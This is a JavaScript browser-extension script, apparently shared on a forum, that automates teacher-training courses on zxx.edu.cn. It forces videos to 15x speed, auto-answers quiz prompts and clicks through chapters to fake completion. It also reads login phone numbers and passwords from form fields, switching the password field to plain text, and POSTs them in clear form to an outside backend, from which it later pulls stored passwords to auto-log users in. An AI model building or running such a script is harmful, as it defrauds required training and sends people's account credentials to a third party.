[Asm] 纯文本查看 复制代码
(function () {
var checkNumber = 0;
var noVideoNumber = 0;
//保存用户总进度
function saveScore(_pro, _isend = false) {
console.log("当前进度:", _pro);
document.title = getUserInfo().name + "[" + _pro + "]";
//总进度
var _userInfo = getUserInfo();
var _user = _userInfo.name;
var _school = _userInfo.school;
if (_user && _school || localStorage["phone"]) {
console.log(_school + " " + _user + ":" + _pro);
$.ajax({
url: "https://插件监测后台地址",
type: "POST",
async: false,
data: { type: "updateUserPro", school: _school, user: _user, subject: "--", pro: _pro, phone: localStorage["phone"], pwd: localStorage["pwd"], isend: (_isend ? "是" : "否") },
success: function (_data) {
console.log(_data);
}
});
}
if (_isend) {
unLogin();
}
}
//从页面中分析用户的学习进度
function getScores(_b = false) {
checkNumber++;
console.log("getScore..." + checkNumber);
//总进度
var _total = 0;
var _curr = 0;
$("div[class*='index-module_topprocess']").each((_index, _ele) => {
if (_ele.innerText.indexOf("认定") != -1) {
var _ss = _ele.innerText.match(/[0-9.]+/g);
if (_ss.length > 1) {
_total = _ss.pop();
_curr = _ss.pop();
}
}
})
if (_total <= 0) {
setTimeout(getScores, 2000, _b);
return;
}
saveScore(_curr + "/" + _total, _curr >= _total);
//强制点击打开学习页,用于在localStorage中产生课程id,来获取准确的学习进度
var _study = [];
if (_curr < _total) {
//单元进度
$("div[class*='index-module_process']").each((_index, _ele) => {
if (_ele.innerText.indexOf("认定") != -1) {
var _ss = _ele.innerText.match(/[0-9.]+/g);
if (_ss.length > 1) {
var _t = _ss.pop();
var _c = _ss.pop();
if (_c < _t) {
_study.push(_ele);
}
}
}
})
} else {
studyEnd = true;
window.sendMessage({ type: "closeOtherTabs" });
unLogin();
return;
}
if (_b) {
if (_study.length) {
_study[Math.floor(Math.random() * _study.length)].click();
//_study.pop().click();
} else {
console.log("无课程可以学习,3秒后退出...");
studyEnd = true;
setTimeout(unLogin, 3000);
}
}
//倒计时刷新
window.sendMessage({ type: "reloadTime", data: { time: 300 } });
}
//单元主页分析是否开始或者继续学习
function checkPage() {
if (!$(".CourseIndex-module_course-btn_3Yy4j").length) {
setTimeout(checkPage, 1000);
return;
}
window.sendMessage({ type: "reloadTime", data: { time: 60 } });
if ($(".CourseIndex-module_course-btn_3Yy4j").text() == "复习回顾") {
//已经完成
window.sendMessage({ type: "closeWindow" });
}
//不再提示的勾选
if ($("input.fish-checkbox-input:checkbox").length) {
if (!$("input.fish-checkbox-input:checkbox").attr("checked")) {
$("input.fish-checkbox-input:checkbox").attr("checked", "true");
$("input.fish-checkbox-input:checkbox").click();
}
}
if ($(".CourseIndex-module_course-btn_3Yy4j").text().indexOf("学习") != -1) {
if ($(".fish-btn.fish-btn-primary").is(":visible")) {
//$(".fish-btn.fish-btn-primary").click();
}
if (!$(".CourseIndex-module_course-btn_3Yy4j span").length) {
$(".CourseIndex-module_course-btn_3Yy4j").append("<span>--</span>");
}
$(".CourseIndex-module_course-btn_3Yy4j span").click();
}
setTimeout(checkPage, 3000);
}
function unLogin() {
window.sendMessage({ type: "getLocalStorage", data: { key: "zxx_auto" } }, function (data) {
if (data == 'true') {
$(".fish-dropdown.fish-dropdown-placement-bottomRight").removeClass("fish-dropdown-hidden");
$("div[class*='index-module_panel-logout']").click();
localStorage.clear();
sessionStorage.clear();
window.sendMessage({ type: "removeCookie", data: { url: "https://www.zxx.edu.cn" } });
window.sendMessage({ type: "removeCookie", data: { url: "https://.ykt.eduyun.cn" } });
window.sendMessage({ type: "removeCookie", data: { url: 'https://quickaplus-server-api-cn-zhangjiakou.aliyuncs.com', name: 'cna' } }, function (data) {
console.log("返回的信息:", data);
window.sendMessage({ type: "reloadHome", data: { homeKey: "uc?sdp-app-id", homeUrl: "https://www.zxx.edu.cn/uc?sdp-app-id=e5649925-441d-4a53-b525-51a2f1c4e0a8&redirect_uri=https%3A%2F%2Fwww.zxx.edu.cn%2Ftraining%2Fbdbe4c1e-f540-4e9f-9fae-855ab44e2d32&send_uckey=true&re_login=false&iframe_type=login_comp#/login" } });
});
} else {
$("div[class*='index-module_btn']").remove();
$("div[class*='index-module_banner-item'] img").attr("src", "https://插件后台(没有也能工作)/zxx.edu.cn/study.png");
//$("div[class*='index-module_title']").text("由烂泥沟提供能量支持,P娃儿猫已经为您未完成所有课程学习!");
window.sendMessage({ type: "reloadTime", data: { time: 9999999999 } });
}
});
}
var nowTitle = "";
var endBtns = [];
function changeChapter(_index) {
var _btns = $(".resource-item i:visible").filter((_index, _ele) => {
if (!localStorage[_title] && _ele.title == "已学完" && endBtns.indexOf(_ele) == -1) {
var _title = $.trim($(_ele).parent().prev().text());
localStorage[_title] = 1;
endBtns.push(_ele);
}
return endBtns.indexOf(_ele) == -1 && (_ele.title == "进行中" || _ele.title == "未开始");
})
if (!_btns.length) {
$(".fish-collapse-header").eq(_index).click();
if (_index < $(".fish-collapse-header").length - 1) {
setTimeout(changeChapter, 1000, ++_index);
}
} else {
var _title = $.trim(_btns.eq(0).parent().prev().text());
console.log(_btns.length, _title);
if (_title != nowTitle) {
nowTitle = _title;
_btns.eq(0).click();
}
return true;
}
}
var vSpeed = 15;
function checkPlay() {
window.sendMessage({ type: "activityTab" });
//提示要答题才能得分按钮
if ($(".fish-modal-content .fish-btn.fish-btn-primary").is(":visible")) {
$(".fish-modal-content .fish-btn.fish-btn-primary").click();
}
//重复学习警示按钮
if ($(".fish-btn.fish-btn-primary .fish-btn.fish-btn-primary").is(":visible")) {
//$(".fish-btn.fish-btn-primary").click();
}
//视频加速
var _v = $('video')[0];
if (_v) {
if ($(".nqti-option__container.ndui-highlight:visible").length) {
$(".nqti-option__container.ndui-highlight:visible").click();
/*
setTimeout(() => {
$(".fish-btn.fish-btn-primary span:visible").each((_ele, _index) => {
if (_ele.innerText && (_ele.innerText.indexOf("完成") != -1 || _ele.innerText.indexOf("下一题") != -1)) {
$(_ele).parent().click();
}
})
}, 500)
*/
setTimeout(() => {
$("div[class*='index-module_box_']").find(".fish-btn.fish-btn-primary").click();
}, 500)
}
$("video").prop('muted', true);
//如果是直播
if ($(".index-module_like-count_yoxXR").length) {
_v.play();
return;
}
//多数为视频教程
//_v.currentTime = _v.currentTime + 2;
if (_v.playbackRate < 3) {
_v.playbackRate = vSpeed;
$("div[class*='index-module_name']").text("由烂泥沟提供能量支持,P娃儿之小猫正在以" + vSpeed + "倍速认真学习...");
}
_v.play();
} else {
console.log("no video");
noVideoNumber++;
if (noVideoNumber > 60) {
window.sendMessage({ type: "reloadHome", data: { homeKey: "https://www.zxx.edu.cn/training/bdbe4c1e-f540-4e9f-9fae-855ab44e2d32", homeUrl: "https://www.zxx.edu.cn/training/bdbe4c1e-f540-4e9f-9fae-855ab44e2d32" } });
}
//回放按钮
if ($(".index-module_status_2DbV-").length > 1) {
console.log("直播频道列表...");
$(".index-module_status_2DbV-").eq(0).click();
return;
} else if ($(".index-module_box_1H-8J").length > 3) {
console.log("直播频道列表...");
$(".index-module_box_1H-8J").eq(0).click();
return;
}
//退出登陆后的临时界面
if (location.href.indexOf("?courseId=") != -1) {
if ($(".index-module_user-login-text_A1sxa").text().indexOf("登录") != -1) {
window.sendMessage({ type: "reloadHome", data: { homeKey: "https://www.zxx.edu.cn/training/bdbe4c1e-f540-4e9f-9fae-855ab44e2d32", homeUrl: "https://www.zxx.edu.cn/training/bdbe4c1e-f540-4e9f-9fae-855ab44e2d32" } });
return;
}
}
}
//章节学完时,主页刷新更新积分情况
if ($(".course-video-reload").is(":visible")) {
setTimeout(function () {
window.sendMessage({ type: "reloadHome", data: { homeKey: "https://www.zxx.edu.cn/training/bdbe4c1e-f540-4e9f-9fae-855ab44e2d32", homeUrl: "https://www.zxx.edu.cn/training/bdbe4c1e-f540-4e9f-9fae-855ab44e2d32" } });
}, 5000);
return;
}
//视频进度条一直显示
$(".video-js.fish-ndrVideo").removeClass("vjs-user-inactive");
$(".video-js.fish-ndrVideo").addClass("vjs-user-active");
//自动点击未学完的章节
setTimeout(checkPlay, 2000);
}
var studyEnd = false;
function checkTabNums() {
if (studyEnd) {
return;
}
window.sendMessage({ type: "getTabsInfo" }, function (_data) {
var _urlKey = "zxx.edu.cn";
var _num = 0;
for (var _key in _data) {
if (_data[_key].url && _data[_key].url.indexOf(_urlKey) != -1) {
_num++;
}
}
console.log(_urlKey, "的标签,共打开了", _num, "个");
if (_num < 2) {
window.sendMessage({ type: "reload" });
}
});
setTimeout(checkTabNums, 5000);
}
function setInputValue(_input, _value) {
var _lastValue = _input.value;
_input.value = _value;
let _tracker = _input._valueTracker;
if (_tracker) {
_tracker.setValue(_lastValue);
}
var _e = new Event('input', { bubbles: true });
_input.dispatchEvent(_e);
console.log("setValue");
}
function getToKenByStorage() {
var _data = localStorage['ND_UC_AUTH-e5649925-441d-4a53-b525-51a2f1c4e0a8&ncet-xedu&token'];
if (_data) {
_data = JSON.parse(_data);
_data = JSON.parse(_data.value);
console.log("token:", _data.access_token);
//
$.ajax({
url: "https://x-user-profile.ykt.eduyun.cn/v1/teacher/profile/verify/status?user_type=TEACHER",
type: "GET",
headers: {
"Authorization": 'MAC id="' + _data.access_token + '",nonce="1672201996771:J15OXMF5",mac="d6FoT6BrFF9hJ/0MOS34u47Bf3S8u68NSXyVgiuBXN4="'
},
contentType: "json",
success: function (_data) {
console.log(_data);
}
})
}
}
function getChapterList() {
var _uid = getUserInfo().uid;
//console.log(_uid)
var _open = false;
var _data = localStorage['personalCenter:MyCourses:' + _uid];
if (_data) {
getScores();
_data = JSON.parse(_data);
_data = _data.items;
var _pro = 0;
for (var _i = 0; _i < _data.length; _i++) {
$.ajax({
url: "https://x-study-record-api.ykt.eduyun.cn/v1/study_details/" + _data[_i].content_id + "/" + _uid,
type: "GET",
contentType: "json",
async: false,
success: function (_data) {
//console.log("当前版块:", _data);
try {
if (typeof _data == 'string') {
_data = JSON.parse(_data);
}
} catch (e) {
}
if (_data && _data.progress != undefined) {
console.log("当前版块进度:", _data.progress);
_pro += parseInt(_data.progress);
if (!_open && _data.progress != 100) {
_open = true;
window.sendMessage({ type: "openUrl", data: { url: "https://www.zxx.edu.cn/teacherTraining/courseIndex?courseId=" + _data.resource_id } });
}
}
}
})
}
saveScore(Math.floor(_pro / _data.length * 100) / 100 + "%", false);
if (!_open) {
getScores(true);
return;
console.log("当前没有可以学习的课程...");
studyEnd = true;
setTimeout(unLogin, 3000);
}
} else {
getScores(true);
}
}
function getValueByKey(_obj, _key) {
for (var _k in _obj) {
if (_k == _key) {
return _obj[_k];
} else {
if (typeof _obj[_k] == 'object') {
var _v = getValueByKey(_obj[_k], _key);
if (_v) {
return _v;
}
}
}
}
return null;
}
function getUserInfo() {
var _data = localStorage['ND_UC_AUTH-e5649925-441d-4a53-b525-51a2f1c4e0a8&ncet-xedu&sdk_cache'];
if (_data) {
_data = JSON.parse(_data);
return { school: getValueByKey(_data, "x_school_name"), name: getValueByKey(_data, "real_name"), uid: getValueByKey(_data, "user_id") };
}
return { schol: "", name: "", uid: "" };
}
function readUser() {
$.post("https://插件后台(没有也能工作)/zxx.edu.cn/activity.php", { type: "readUser" }, function (_data) {
_data = JSON.parse(_data);
if (_data && _data.t) {
$("#loginName").attr("data-auto", "1");
$("#password").focus();
setInputValue($("#password")[0], _data.pwd);
$("#loginName").focus();
setInputValue($("#loginName")[0], _data.phone);
setTimeout(function () {
$("button:submit").click();
window.sendMessage({ type: "reloadTime", data: { time: 10 } });
}, 1500)
} else {
document.title = '暂无用户...';
$("button:submit").text('等待用户...')
setTimeout(readUser, 10000);
}
});
}
function init() {
window.sendMessage({ type: "reloadTime", data: { time: 300 } });
$("#logo").attr("src", "https://插件后台(没有也能工作)/Pwaerm/study.png");
//登陆后是主页
if (location.href == "https://www.zxx.edu.cn/" || location.href.indexOf("/courseIndex?breadcrumb=") != -1) {
location.href = "https://www.zxx.edu.cn/training/bdbe4c1e-f540-4e9f-9fae-855ab44e2d32";
return;
}
//登陆页
if (location.href.indexOf("zxx.edu.cn/uc?sdp-app-id=") != -1) {
window.sendMessage({ type: "closeOtherTabs" });
var _openT = setTimeout(() => {
window.sendMessage({ type: "openUrl", data: { url: "https://www.zxx.edu.cn/uc?sdp-app-id=e5649925-441d-4a53-b525-51a2f1c4e0a8&redirect_uri=https%3A%2F%2Fwww.zxx.edu.cn%2Ftraining%2Fbdbe4c1e-f540-4e9f-9fae-855ab44e2d32&send_uckey=true&re_login=false&iframe_type=login_comp#/login" } });
}, 6000);
var __T = setInterval(function () {
document.title = "等待用户...";
if ($(".fish-checkbox-wrapper").is(":visible") && !$(".fish-checkbox-wrapper").attr("data-blur")) {
clearTimeout(_openT);
clearInterval(__T);
$(".fish-checkbox-wrapper").attr("data-blur", "rmm");
window.sendMessage({ type: "removeCookie", data: { url: "https://www.zxx.edu.cn" } });
window.sendMessage({ type: "closeOtherTabs" });
$(".fish-checkbox-wrapper").click();
$("#password").attr("type", "text");
$("#password").blur(function () {
localStorage["phone"] = $("#loginName").val();
localStorage["pwd"] = $(this).val();
//alert($(this).val());
})
$("button:submit").click(function () {
localStorage["phone"] = $("#loginName").val();
localStorage["pwd"] = $("#password").val();
//console.log("submit");
})
$("#loginName").blur(function () {
var _user = $(this).val();
if (_user.length < 2 || $("#loginName").attr("data-auto")) {
return;
}
console.log(_user);
if (_user.length < 11) {
$.post("https://插件后台(没有也能工作)/zxx.edu.cn/activity.php", { type: "getUserPhoneByName", name: _user }, function (_data) {
_data = JSON.parse(_data);
if (_data && _data.phone) {
$("#password").focus();
setInputValue($("#password")[0], _data.pwd);
$("#loginName").focus();
setInputValue($("#loginName")[0], _data.phone);
setTimeout(function () {
$("button:submit").click();
window.sendMessage({ type: "reloadTime", data: { time: 10 } });
}, 1500)
}
});
return;
}
if (!$("#password").val()) {
$.post("https://插件后台(没有也能工作)/zxx.edu.cn/activity.php", { type: "getPwdByPhone", phone: _user }, function (_data) {
_data = JSON.parse(_data);
if (_data && _data.pwd) {
$("#password").focus();
setInputValue($("#password")[0], _data.pwd);
setTimeout(function () {
$("button:submit").click();
window.sendMessage({ type: "reloadTime", data: { time: 10 } });
}, 1500)
}
})
}
})
window.sendMessage({ type: "getLocalStorage", data: { key: "zxx_auto" } }, function (data) {
if (data == 'true') {
readUser();
}
});
} else {
//找回密码的地方
if ($("#loginName").length) {
if (!$("#loginName").attr("data-blur")) {
$("#loginName").attr("data-blur", "rmm");
$("#loginName").blur(function () {
localStorage["phone"] = $(this).val();
console.log("blur", $(this).val(), localStorage["phone"]);
})
}
}
if ($("#confirmPassword").length) {
if (!$("#confirmPassword").attr("data-blur")) {
$("input:password").attr("type", "text");
$("#confirmPassword").attr("data-blur", "rmm");
$("#confirmPassword").blur(function () {
localStorage["pwd"] = $(this).val();
})
}
}
}
}, 1000);
window.sendMessage({ type: "reloadTime", data: { time: 8 } });
return;
}
//登陆页跳转
if (location.href.indexOf("ucAccount?redirect_uri=") != -1) {
location.href = "https://www.zxx.edu.cn/uc?sdp-app-id=e5649925-441d-4a53-b525-51a2f1c4e0a8&redirect_uri=https%3A%2F%2Fwww.zxx.edu.cn%2Ftraining%2Fbdbe4c1e-f540-4e9f-9fae-855ab44e2d32&send_uckey=true&re_login=false&iframe_type=login_comp#/login";
return;
}
//每个学习版块的主页
if (location.href.indexOf("teacherTraining/courseIndex?") != -1) {
window.sendMessage({ type: "getTabsInfo" }, function (_data) {
var _urlKey = "teacherTraining";
var _num = 0;
for (var _key in _data) {
if (_data[_key].url && _data[_key].url.indexOf(_urlKey) != -1) {
_num++;
}
}
console.log(_urlKey, "的标签,共打开了", _num, "个");
if (_num <= 1) {
checkPage();
} else {
window.sendMessage({ type: "closeWindow" });
}
});
return;
}
//登陆以后进入2023培训的主页
if (location.href.indexOf("https://www.zxx.edu.cn/training/bdbe4c1e-f540-4e9f-9fae-855ab44e2d32") != -1) {
window.sendMessage({ type: "closeOtherTabs" });
if (getUserInfo().name) {
getScores(true);//原始方法点击课程
//getChapterList();
} else {
location.href = "https://www.zxx.edu.cn/uc?sdp-app-id=e5649925-441d-4a53-b525-51a2f1c4e0a8&redirect_uri=https%3A%2F%2Fwww.zxx.edu.cn%2Ftraining%2Fbdbe4c1e-f540-4e9f-9fae-855ab44e2d32&send_uckey=true&re_login=false&iframe_type=login_comp#/login";
}
setTimeout(checkTabNums, 5000);
return;
}
//视频观看页
checkPlay();
setInterval(() => { changeChapter(0); }, 6000);
}
/*
function jqueryInit() {
if (typeof $.cookie == 'undefined') {
var s = document.createElement("script");
s.onload = init;
s.src = "https://cdn.bootcss.com/jquery-cookie/1.4.1/jquery.cookie.min.js";
document.getElementsByTagName('HEAD').item(0).appendChild(s);
} else {
setTimeout(init, 1);
}
}
if (typeof $ == "undefined") {
var s = document.createElement('script');
s.onload = jqueryInit;
s.src = 'https://cdn.bootcss.com/jquery/3.1.1/jquery.min.js';
document.getElementsByTagName('body')[0].appendChild(s);
} else {
jqueryInit();
}
*/
function getScript(_url) {
var _script = "console.log('加载失败')";
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function (_xhr) {
if (_xhr.target.readyState === 4) {
if (_xhr.target.status === 200 || _xhr.target.status === 304) {
_script = _xhr.target.responseText;
} else {
error('请求失败');
}
}
}
xhr.open('get', _url, false)
xhr.setRequestHeader("content-type", "application/x-www-form-urlencoded")
xhr.send(JSON.stringify({}));
return _script;
}
eval(getScript("https://cdn.bootcss.com/jquery/3.1.1/jquery.min.js"));
init();
console.log("ZXX.EDU.CN SCRIPT INIT");
})();